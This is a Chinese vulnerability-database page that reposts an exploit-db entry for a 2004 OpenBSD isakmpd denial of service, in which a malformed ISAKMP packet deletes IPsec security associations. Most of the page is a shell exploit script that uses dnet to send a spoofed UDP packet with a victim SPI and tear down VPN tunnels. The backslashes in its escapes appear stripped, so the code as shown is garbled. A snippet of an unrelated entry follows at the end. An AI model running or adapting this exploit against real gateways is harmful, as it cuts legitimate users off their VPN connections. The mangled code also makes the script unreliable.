OpenBSD 3.x – ISAKMPD Security Association Piggyback Delete Payload Denial of Service

OpenBSD 3.x – ISAKMPD Security Association Piggyback Delete Payload Denial of Service

漏洞ID 1054486 漏洞类型
发布时间 2004-06-08 更新时间 2004-06-08
图片[1]-OpenBSD 3.x – ISAKMPD Security Association Piggyback Delete Payload Denial of Service-安全小百科CVE编号 N/A
图片[2]-OpenBSD 3.x – ISAKMPD Security Association Piggyback Delete Payload Denial of Service-安全小百科CNNVD-ID N/A
漏洞平台 OpenBSD CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/24181
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/10496/info

It is reported that OpenBSD's isakmpd daemon is susceptible to a remote denial of service vulnerability.

An attacker is able to delete security associations and policies from IPSec VPN's by sending a malformed UDP ISAKMP packet to a vulnerable server. The malformed packet contains payloads for both setting up a new tunnel and deleting a tunnel. Isakmpd improperly acts upon the delete payload and terminates the associations and policys relating to the tunnel.

It is possible to destroy security associations, effectively eliminating the VPN connection between gateways, denying service to legitimate users of the VPN.

#!/bin/sh

if [ ! $# -eq 3 ]; then
	echo "usage: $0 fake_src victim spi";
	exit;
fi

src=$1; dst=$2
spi=`echo $3 | sed 's/(..)/\\x1/g'`
cky_i=`dd if=/dev/urandom bs=8 count=1 2>/dev/null`

dnet hex 
	$cky_i 
	"x00x00x00x00x00x00x00x00" 
	"x08x10x05x00" 
	"x00x00x00x00" 
	"x00x00x00x5c" 
	"x01x00x00x04" 
	"x0cx00x00x2c" 
	"x00x00x00x01" 
	"x00x00x00x01" 
	"x00x00x00x20" 
	"x01x01x00x01" 
	"x00x00x00x18" 
	"x00x01x00x00" 
	"x80x01x00x05" 
	"x80x02x00x02" 
	"x80x03x00x01" 
	"x80x04x00x02" 
	"x00x00x00x10" 
	"x00x00x00x01" 
	"x03x04x00x01" 
	$spi |
	dnet udp sport 500 dport 500 |
	dnet ip proto udp src $src dst $dst |
	dnet send

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Immunix StackGuard Evasion Vulnerability 漏洞ID 1104495 漏洞类型 Design Error 发布时间 1999-11-08 更新时间 1999-11-08 CVE编号 N/A CNNVD-ID N/A 漏洞平…

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